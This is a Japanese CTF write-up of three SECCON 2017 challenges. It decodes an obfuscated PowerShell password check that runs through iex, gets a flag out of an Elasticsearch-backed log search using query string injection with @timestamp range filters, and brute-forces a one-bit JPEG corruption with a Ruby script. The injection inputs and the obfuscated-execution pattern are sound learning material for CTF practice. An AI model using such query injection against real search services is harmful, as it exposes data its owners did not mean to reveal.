[CHar]111+[CHar]115+[CHar]116+[CHar]32+[CHar]39+[CHar]71+[CHar]111+[CHar]111+[CHar]100+[CHar]32+[CHar]74+[CHar]111+[CHar]98+[CHar]33+[CHar]39+[CHar]59+[CHar]13+[CHar]10+[CHar]9+[CHar]87+[CHar]114+[CHar]105+[CHar]116+[CHar]101+[CHar]45+[CHar]72+[CHar]111+[CHar]115+[CHar]116+[CHar]32+[CHar]34+[CHar]83+[CHar]69+[CHar]67+[CHar]67+[CHar]79+[CHar]78+[CHar]123+[CHar]36+[CHar]69+[CHar]67+[CHar]67+[CHar]79+[CHar]78+[CHar]125+[CHar]34+[CHar]13+[CHar]10+[CHar]125|iex  

ここから更に|iexを取り除いてPowerShellから実行させるとFLAGが出てくる。SECCON{P0wEf$H311}

$ECCON=Read-Host -Prompt 'Enter the password'  
If($ECCON -eq 'P0wEr$H311'){  
    Write-Host 'Good Job!';  
    Write-Host "SECCON{$ECCON}"  
}  

Log Search

解いたチームが多かったものの最後まで解けず焦った。
Elasticsearchの仕様を活かしてログからフラグを探すみたい。
他のチームのHTTPリクエストもログにどんどん溜まっていく。

CTFの開始時間である15:00より前に記録されているログに、FLAGが隠されているのではないかと考えて、ログの表示件数を増やすか時刻で絞り込んで検索したくなった。

PHPからElasticsearchに投げるクエリの形式はJSONだそうなので、SQLiの感覚で" } }, { "match": {"response": "404などと打ってみるも失敗。

Elasticsearchのドキュメントを調べると、query string queryというものを見つけた。これを使えばtimestamp属性で絞りこめるのでは?
そしてtimestamp:{* TO "09/Dec/2017:22:00:00 +0900"] AND response:"200" と入れてみたがダメだった。
timestamp:"09/Dec/2017:22:00:00 +0900" AND response:"400"はうまく行った。

「んん〜??これ本当に100か〜?」と思いつつさらに調べると、@timestampというデフォルトのフィールドがあるそうだ。
https://github.com/elastic/elasticsearch-dsl-py/issues/49

The problem is that you have a field 'timestamp' that is a string, not a date so a range filter won't work on it as you expect. In that case you need to use the '@timestamp' field in your filter which looks like it is a date.

@timestamp:{* TO 2017-12-09T10:00:00+09:00} AND response:"200" AND flagと打つとこんな画面が。
Gyazo
アクセスするとFLAGが。
SECCON{N0SQL_1njection_for_Elasticsearch!}

こういうことを避けるためにQiitaは自前でquery string queryを実装している

JPEG file

灰色のJPG画像が渡される。1bit書き換えればいいみたい。
JPEG(JEIF)のフォーマットを調べたものの、どこが間違っているか分からなかったので1bitずつ反転した画像を40000枚ほど生成した。ファイルが多すぎて面倒だったので8x8=64枚ごとに整理していい感じのを探した。

bytes = File.binread "tktk.jpg"  
   
bytes.chars.each_with_index do |ch, i|  
    memo = bytes[i]  
   
    memo_byte = bytes[i].unpack("H*")[0].hex  
    8.times do |k|   
        byte = memo_byte ^ (1&lt;&lt;k) # change 1 bit  
        bytes[i] = byte.chr  
        File.binwrite("results/#{8*i+k}.jpg", bytes)  
    end  
   
    bytes[i] = memo  
end  
   
(93024/8).times do |i| # 横に8連結, 93024はファイルサイズ  
    scr = "convert +append"  
    8.times do |k|  
        scr += " results/#{8*i+k}.jpg"  
    end  
    scr += " results/al#{i}.jpg"  
   
    system scr  
end  
   
(93024/8/8).times do |i| # それをさらに縦に8連結  
    scr = "convert -append"  
    8.times do |k|  
        scr += " results/al#{8*i+k}.jpg"  
    end  
    scr += " results/bl#{i}.jpg"  
   
    system scr  
end  


SECCON{jp3g_study}

来年は100位に入りたいなあ(遠い目)